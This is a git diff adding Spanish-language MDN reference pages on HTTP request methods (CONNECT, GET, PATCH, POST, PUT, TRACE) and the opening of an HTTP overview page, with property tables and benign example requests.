+<p>Las tramas HTTP son trasnparentes para los desarrolladores Web. Este paso adicional en HTTP/2, de los mensajes HTTP/1.0 y el protocolo por debajo. No son necesarios cambios en las APIs usadas por los desarrolladores Web para utilizar estas tramas HTTP, cuando las usan ambos: servidor y navegador. </p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Los mensajes HTTP son la clave para usar HTTP; su estructura es sencilla y son fácilmente ampliables. El protocolo HTTP/2 añade un mecanismo de tramas y una capa intermedia entre la sintaxis de HTTP/1.x y su protocolo inferior, sin modificarlo radicalmente: se construye sobre mecanismos de transmisión probados.</p>
diff --git a/files/es/web/http/methods/connect/index.html b/files/es/web/http/methods/connect/index.html
new file mode 100644
index 0000000000..b918b97996
--- /dev/null
+++ b/files/es/web/http/methods/connect/index.html
@@ -0,0 +1,85 @@
+---
+title: CONNECT
+slug: Web/HTTP/Methods/CONNECT
+tags:
+  - HTTP
+  - Método de petición
+translation_of: Web/HTTP/Methods/CONNECT
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>El método <strong>HTTP <code>CONNECT</code> </strong>inicia la comunicación en dos caminos con la fuente del recurso solicitado. Puede ser usado para abrir una comunicación tunel.</p>
+
+<p>Por ejemplo, el método <code>CONNECT</code> puede ser usado para acceder a sitios web que usan {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). El cliente realiza la petición al Servidor Proxy HTTP para establecer una conexión tunel hacia un destino deseado. Entonces el servidor Proxy procede a realizar la conexión en nombre del cliente, una vez establecida la conexión con el servidor deseado, el servidor Proxy envía los datos desde y hacia el cliente.</p>
+
+<p>El método <code>CONNECT</code> es un método de salto entre servidores.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Contiene cuerpo la petición</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">La respuesta exitosa contiene cuerpo</th>
+   <td>Si</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitido en <a href="/en-US/docs/Web/Guide/HTML/Forms">formas HTML</a></th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Algunos servidores proxy pueden necesitar autorización para crear tuneles. Consulta el encabezado {{HTTPHeader("Proxy-Authorization")}} .</p>
+
+<pre class="line-numbers  language-html">CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.CONNECT")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+</ul>
diff --git a/files/es/web/http/methods/get/index.html b/files/es/web/http/methods/get/index.html
new file mode 100644
index 0000000000..9c8dfaf09b
--- /dev/null
+++ b/files/es/web/http/methods/get/index.html
@@ -0,0 +1,69 @@
+---
+title: GET
+slug: Web/HTTP/Methods/GET
+translation_of: Web/HTTP/Methods/GET
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El método HTTP <strong><code>GET</code> </strong>solicita una representación del recurso especificado. Las solicitudes que usan <strong><code>GET</code></strong> solo deben recuperar datos.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Petición con cuerpo</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Respuesta válida con cuerpo</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Seguro")}}</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("idempotente")}}</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitido en HTML forms</th>
+   <td>Sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">GET /index.html
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "GET", "4.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud.</p>
+
+<p>{{Compat("http.methods.GET")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/es/web/http/methods/index.html b/files/es/web/http/methods/index.html
new file mode 100644
index 0000000000..daea5bde6c
--- /dev/null
+++ b/files/es/web/http/methods/index.html
@@ -0,0 +1,69 @@
+---
+title: Métodos de petición HTTP
+slug: Web/HTTP/Methods
+translation_of: Web/HTTP/Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP define un conjunto de <strong>métodos de petición</strong> para indicar la acción que se desea realizar para un recurso determinado. Aunque estos también pueden ser sustantivos, estos métodos de solicitud a veces son llamados <em>HTTP verbs</em>. Cada uno de ellos implementan una semántica diferente, pero algunas características similares son compartidas por un grupo de ellos: ej. un <em>request method</em> puede ser {{glossary("safe")}}, {{glossary("idempotent")}}, o {{glossary("cacheable")}}.</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/GET">GET</a></code></dt>
+ <dd>El método <code>GET</code>  solicita una representación de un recurso específico. Las peticiones que usan el método <code>GET</code> sólo deben recuperar datos.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/HEAD">HEAD</a></code></dt>
+ <dd>El método <code>HEAD</code> pide una respuesta idéntica a la de una petición GET, pero sin el cuerpo de la respuesta.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/POST">POST</a></code></dt>
+ <dd>El método <code>POST</code> se utiliza para enviar una entidad a un recurso en específico, causando a menudo un cambio en el estado o efectos secundarios en el servidor.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/PUT">PUT</a></code></dt>
+ <dd>
+ <p>El modo <code>PUT</code> reemplaza todas las representaciones actuales del recurso de destino con la carga útil de la petición.</p>
+ </dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/DELETE">DELETE</a></code></dt>
+ <dd>El método <code>DELETE</code> borra un recurso en específico.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/CONNECT">CONNECT</a></code></dt>
+ <dd>
+ <p>El método <code>CONNECT</code> establece un túnel hacia el servidor identificado por el recurso.</p>
+ </dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/OPTIONS">OPTIONS</a></code></dt>
+ <dd>El método <code>OPTIONS</code> es utilizado para describir las opciones de comunicación para el recurso de destino.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/TRACE">TRACE</a></code></dt>
+ <dd>
+ <p>El método <code>TRACE</code>  realiza una prueba de bucle de retorno de mensaje a lo largo de la ruta al recurso de destino.</p>
+ </dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/PATCH">PATCH</a></code></dt>
+ <dd>El método <code>PATCH</code>  es utilizado para aplicar modificaciones parciales a un recurso.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Métodos de petición", "4")}}</td>
+   <td>Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semánticas y Contenido</td>
+   <td>Especifica GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "Método Patch", "2")}}</td>
+   <td>Método PATCH para HTTP</td>
+   <td>Especifica PATCH.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si desea contribuir con estos datos de compatibilidad, por favor escriba una solicitud de extracción a través de la siguiente dirección: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p>
+
+<p>{{Compat("http/methods")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a></li>
+</ul>
diff --git a/files/es/web/http/methods/patch/index.html b/files/es/web/http/methods/patch/index.html
new file mode 100644
index 0000000000..c8a981cf82
--- /dev/null
+++ b/files/es/web/http/methods/patch/index.html
@@ -0,0 +1,98 @@
+---
+title: PATCH
+slug: Web/HTTP/Methods/PATCH
+tags:
+  - HTTP
+  - Método HTTP
+  - Referencia
+  - Request method
+translation_of: Web/HTTP/Methods/PATCH
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El <strong>método HTTP PATCH</strong> aplica modificaciones parciales a un recurso.</p>
+
+<p>El método HTTP PUT únicamente permite reemplazar completamente un documento. A diferencia de <code>PUT</code>, el método <code>PATCH</code> no es idempotente, esto quiere decir que peticiones identicas sucesivas <em>pueden </em>tener efectos diferentes. Sin embargo,  es posible emitir peticiones <code>PATCH</code> de tal forma que sean idempotentes.</p>
+
+<p><code>PATCH</code> (al igual que <code>POST</code>) <em>puede </em>provocar efectos secundarios a otros recursos.</p>
+
+<p>Para averiguar si un servidor soporta <code>PATCH</code>, el servidor puede notificar su compatibilidad al añadirlo a la lista en el header: {{HTTPHeader("Allow")}} o {{HTTPHeader("Access-Control-Allow-Methods")}} (para CORS).</p>
+
+<p>Otra indicación (implícita) de que las peticiones PATCH son permitidas, es la presencia del header: {{HTTPHeader("Accept-Patch")}}, el cual especifica los formatos de documento patch aceptados por el servidor. </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Petición con cuerpo</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">Respuesta exitosa con cuerto</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Seguro")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitido en <a href="/en-US/docs/Web/Guide/HTML/Forms">formularios HTML</a></th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">PATCH /file.txt HTTP/1.1
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Petición">Petición</h3>
+
+<pre class="line-numbers  language-html notranslate">PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[description of changes]</pre>
+
+<h3 id="Respuesta">Respuesta</h3>
+
+<p>Una respuesta exitosa es indicada con un código de respuesta {{HTTPStatus("204")}}, porque la respuesta no tiene mensaje en el body. (el cual tendría una respuesta con el código 200). Tenga en cuenta que también se pueden utilizar otros códigos.</p>
+
+<pre class="newpage notranslate">HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "PATCH")}}</td>
+   <td>PATCH Method for HTTP</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPStatus("204")}}</li>
+ <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Accept-Patch")}} – specifies the patch document formats accepted by the server.</li>
+</ul>
diff --git a/files/es/web/http/methods/post/index.html b/files/es/web/http/methods/post/index.html
new file mode 100644
index 0000000000..e89357c05d
--- /dev/null
+++ b/files/es/web/http/methods/post/index.html
@@ -0,0 +1,126 @@
+---
+title: POST
+slug: Web/HTTP/Methods/POST
+tags:
+  - HTTP
+  - Metodo de pedido
+  - Referencia
+translation_of: Web/HTTP/Methods/POST
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>El <strong>método</strong> <strong>HTTP <code>POST</code> </strong> envía datos al servidor. El tipo del cuerpo de la solicitud es indicada por la cabecera  {{HTTPHeader("Content-Type")}}.</div>
+
+<div></div>
+
+<div>La diferencia entre <code>PUT</code> y {{HTTPMethod("POST")}} es que <code>PUT</code> es idempotente: llamarlo una o varias veces sucesivamente tiene el mismo efecto (no tiene efecto secundario // colateral), mientras que varios <code>POST</code> idénticos pueden tener efectos adicionales, como pasar una orden muchas veces.</div>
+
+<div></div>
+
+<p>Una solicitud <code>POST</code> es tipicamente enviada por un <a href="/en-US/docs/Web/Guide/HTML/Forms">formulario HTML</a> y resulta en un cambio en el servidor. En este caso, el tipo de contenido es seleccionado poniendo la cadena de texto adecuada en el atributo<dfn> {{htmlattrxref("enctype", "form")}} del elemento {{HTMLElement("form")}} o el atributo {{htmlattrxref("formenctype", "input")}}  de los elementos {{HTMLElement("input") }} o </dfn><dfn>{{HTMLElement("button")}} :</dfn></p>
+
+<ul>
+ <li><code>application/</code><dfn><code>x-www-form-urlencoded</code>: Los valores son codificados en tuplas llave-valor separadas por <code>'&amp;'</code>, con un <code>'='</code>  entre la llave y el valor. Caracteres no-Alfanumericos en ambas (llaves, valores) son {{glossary("percent encoded")}}: Esta es la razón por la cual este tipo no es adecuado para usarse con datos binarios (use <code>multipart/form-data</code> en su lugar)</dfn></li>
+ <li><code><dfn>multipart</dfn><dfn>/form-data</dfn></code><dfn>: Cada valor es enviado como un dato de bloque ("input de un formulario"), con un delimitador como separador definido por el usuario ("espacio entre campos"). Éstas llaves son colocadas en el <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Content-Disposition</span></font> , la cual es cómo está estructurada cada parte del HEADER en una petición HTTP</dfn></li>
+ <li><dfn><code>text/plain</code></dfn></li>
+</ul>
+
+<p>Cuando la solicitud <code>POST</code> es enviada por otro método distinto a un formulario HTML  — por ejemplo mediante una {{domxref("XMLHttpRequest")}} — el cuerpo puede aceptar cualquier tipo. Como se describe en la especificación HTTP 1.1, el método <code>POST</code> está diseñado para permitir un método uniforme que cubra las siguientes funciones:</p>
+
+<ul>
+ <li>Modificación de recursos existentes.</li>
+ <li>Publicar un mensaje en un tablón de anuncios, grupo de noticias, lista de correos, o grupos similares de artículos;</li>
+ <li>Agragar un nuevo usuario a través de un modal de suscripciones;</li>
+ <li>Proveer un conjunto de datos, como resultado del envío de un formulario, a un proceso data-handling.</li>
+ <li>Extender una base de datos a través de una operación de concatenación.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Pedir como cuerpo</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">Respuesta válida como cuerpo</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Seguro")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>Sólo si incluye nueva información</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitido en <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th>
+   <td>Sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">POST /index.html
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Un formulario simple empleando el tipo de contenido por defecto <code>application/x-www-form-urlencoded</code>:</p>
+
+<pre class="line-numbers  language-html notranslate">POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&amp;to=Mom</pre>
+
+<p>Un formulario usando el tipo de contenido <code>multipart/form-data</code>:</p>
+
+<pre class="notranslate">POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "POST", "4.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_compatibles">Navegadores compatibles</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.POST")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+</ul>
+
+<div id="__kantu_mark__"></div>
diff --git a/files/es/web/http/methods/put/index.html b/files/es/web/http/methods/put/index.html
new file mode 100644
index 0000000000..9dc13c4b10
--- /dev/null
+++ b/files/es/web/http/methods/put/index.html
@@ -0,0 +1,100 @@
+---
+title: PUT
+slug: Web/HTTP/Methods/PUT
+tags:
+  - HTTP
+  - Método HTTP
+  - Petición
+translation_of: Web/HTTP/Methods/PUT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La <strong>petición HTTP PUT</strong> crea un nuevo elemento o reemplaza una representación del elemento de destino con los datos de la petición.</p>
+
+<p>La diferencia entre el método <code>PUT</code> y el método {{HTTPMethod("POST")}} es que <code>PUT</code> es un método idempotente: llamarlo una o más veces de forma sucesiva tiene el mismo efecto (sin efectos secundarios), mientras que una sucesión de peticiones <code>POST</code> idénticas pueden tener efectos adicionales, como envíar una orden varias veces.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Petición con cuerpo</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">Respuesta (correcta) con cuerpo</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Seguro")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotente")}}</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitido en <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">PUT /nuevo.html HTTP/1.1
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Petición">Petición</h3>
+
+<pre>PUT /nuevo.html HTTP/1.1
+Host: ejemplo.com
+Content-type: text/html
+Content-length: 16
+
+&lt;p&gt;Nuevo Archivo&lt;/p&gt;</pre>
+
+<h3 id="Respuestas">Respuestas</h3>
+
+<p>Si el elemento de destino no existe y la petición <code>PUT</code> lo crea de forma satisfactoria, entonces el servidor debe informar al usuario enviando una respuesta {{HTTPStatus("201")}} (<code>Created</code>) .</p>
+
+<pre class="newpage">HTTP/1.1 201 Created
+Content-Location: /nuevo.html</pre>
+
+<p>Si el elemento existe actualmente y es modificado de forma satisfactoria, entonces el servidor de origen debe enviar una respuesta {{HTTPStatus("200")}} (<code>OK</code>) o una respuesta {{HTTPStatus("204")}} (<code>No Content</code>) para indicar que la modificación del elemento se ha realizado sin problemas.</p>
+
+<pre>HTTP/1.1 204 No Content
+Content-Location: /existente.html
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "PUT", "4.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_compatibles">Navegadores compatibles</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.PUT")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPStatus("201")}}</li>
+ <li>{{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/es/web/http/methods/trace/index.html b/files/es/web/http/methods/trace/index.html
new file mode 100644
index 0000000000..015d430a66
--- /dev/null
+++ b/files/es/web/http/methods/trace/index.html
@@ -0,0 +1,75 @@
+---
+title: TRACE
+slug: Web/HTTP/Methods/TRACE
+translation_of: Web/HTTP/Methods/TRACE
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El <strong>método HTTP <code>TRACE</code> </strong> efectua una prueba de bucle de mensaje por el camino al recurso objetivo proporcionando un útil mecanismo de debugging.</p>
+
+<p>El destino final de la petición debería devolver el mensaje recibido, excluyendo algunos de los campos descritos abajo, de vuelta al cliente como el mensaje body e una respuesta 200 (OK) con un {{httpheader("Content-Type")}} de  <code>message/http</code>. El destinatario final es o el servidor de origen o el priver servidor en recivir un {{httpheader("Max-Forwards")}} de valor 0 en la petición.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Request has body</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Successful response has body</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Allowed in HTML forms</th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">TRACE /index.html
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "TRACE", "4.3.8")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Buscadores">Compatibilidad con Buscadores </h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.TRACE")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP methods</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/http/overview/index.html b/files/es/web/http/overview/index.html
new file mode 100644
index 0000000000..5c1b057346
--- /dev/null
+++ b/files/es/web/http/overview/index.html
@@ -0,0 +1,172 @@
+---
+title: Generalidades del protocolo HTTP
+slug: Web/HTTP/Overview
+tags:
+  - HTML
+  - HTTP
+  - Mecánica Web
+  - Visión general
+translation_of: Web/HTTP/Overview
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP, de sus siglas en inglés: "Hypertext Transfer Protocol", es el nombre de un protocolo el cual nos permite realizar una petición de datos y recursos, como pueden ser documentos {{glossary("HTML")}}. Es la base de cualquier intercambio de datos en la Web, y un protocolo de estructura cliente-servidor, esto quiere decir que una petición de datos es iniciada por el elemento que recibirá los datos (el cliente), normalmente un navegador Web. Así, una página web completa resulta de la unión de distintos sub-documentos recibidos, como, por ejemplo: un documento que especifique el estilo de maquetación de la página web ({{glossary("CSS")}}), el texto, las imágenes, vídeos, scripts, etc...    </p>
+
+<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p>
+
+<p>Clientes y servidores se comunican intercambiando mensajes individuales (en contraposición a las comunicaciones que utilizan flujos continuos de datos). Los mensajes que envía el cliente, normalmente un navegador Web, se llaman <em>peticiones</em>, y los mensajes enviados por el servidor se llaman <em>respuestas</em>.</p>
+
+<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Diseñado a principios de la década de 1990, {{glossary("HTTP")}} es un protocolo ampliable, que ha ido evolucionando con el tiempo. Es lo que se conoce como un protocolo de la capa de aplicación, y se transmite sobre el protocolo {{glossary("TCP")}}, o el protocolo encriptado {{glossary("TLS")}}, aunque teóricamente podría usarse cualquier otro protocolo fiable. Gracias a que es un protocolo capaz de ampliarse, se usa no solo para transmitir documentos de hipertexto ({{glossary("HTML")}}), si no que además, se usa para transmitir imágenes o vídeos, o enviar datos o contenido a los servidores, como en el caso de los formularios de datos. {{glossary("HTTP")}} puede incluso ser utilizado para transmitir partes de documentos, y actualizar páginas Web en el acto.</p>
+
+<h2 id="Arquitectura_de_los_sistemas_basados_en_HTTP">Arquitectura de los sistemas basados en  HTTP </h2>
+
+<p>{{glossary("HTTP")}} es un protocolo basado en el principio de cliente-servidor: las peticiones son enviadas por una entidad: el agente del usuario (o un proxy a petición de uno). La mayoría de las veces el agente del usuario (cliente) es un navegador Web, pero podría ser cualquier otro programa, como por ejemplo un programa-robot, que explore la Web, para adquirir datos de su estructura y contenido para uso de un buscador de Internet.</p>
+
+<p>Cada petición individual se envía a un servidor, el cuál la gestiona y responde. Entre cada <em>petición</em> y<em> respuesta</em>, hay varios intermediarios, normalmente denominados {{glossary("Proxy_server", "proxies")}}, los cuales realizan distintas funciones, como: gateways o {{glossary("Cache", "caches")}}. </p>
+
+<p><img alt="Client server chain" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p>
+
+<p>En realidad, hay más elementos intermedios, entre un navegador y el servidor que gestiona su petición: hay otros tipos de dispositivos: como <em>routers</em>, <em>modems</em> ... Es gracias a la arquitectura en capas de la Web, que estos intermediarios, son transparentes al navegador y al servidor, ya que {{glossary("HTTP")}} se apoya en los protocolos de red y transporte. {{glossary("HTTP")}} es un protocolo de aplicación, y por tanto se apoya sobre los anteriores. Aunque para diagnosticar problemas en redes de comunicación, las capas inferiores son irrelevantes para la definición del protocolo {{glossary("HTTP")}} . </p>
+
+<h3 id="Cliente_el_agente_del_usuario">Cliente: el agente del usuario</h3>
+
+<p>El agente del usuario, es cualquier herramienta que actué en representación del usuario. Esta función es realizada en la mayor parte de los casos por un navegador Web. Hay excepciones, como el caso de programas específicamente usados por desarrolladores para desarrollar y depurar sus aplicaciones.</p>
+
+<p>El navegador es <strong>siempre</strong> el que inicia una comunicación (petición), y el servidor nunca la comienza (hay algunos mecanismos que permiten esto, pero no son muy habituales).  </p>
+
+<p>Para poder mostrar una página Web, el navegador envía una petición de documento {{glossary("HTML")}} al servidor. Entonces procesa este documento, y envía más peticiones para solicitar scripts, hojas de estilo ({{glossary("CSS")}}), y otros datos que necesite (normalmente vídeos y/o imágenes). El navegador, une todos estos documentos y datos, y compone el resultado final: la página Web. Los scripts, los ejecuta también el navegador, y también pueden generar más peticiones de datos en el tiempo, y el navegador, gestionará y actualizará la página Web en consecuencia. </p>
+
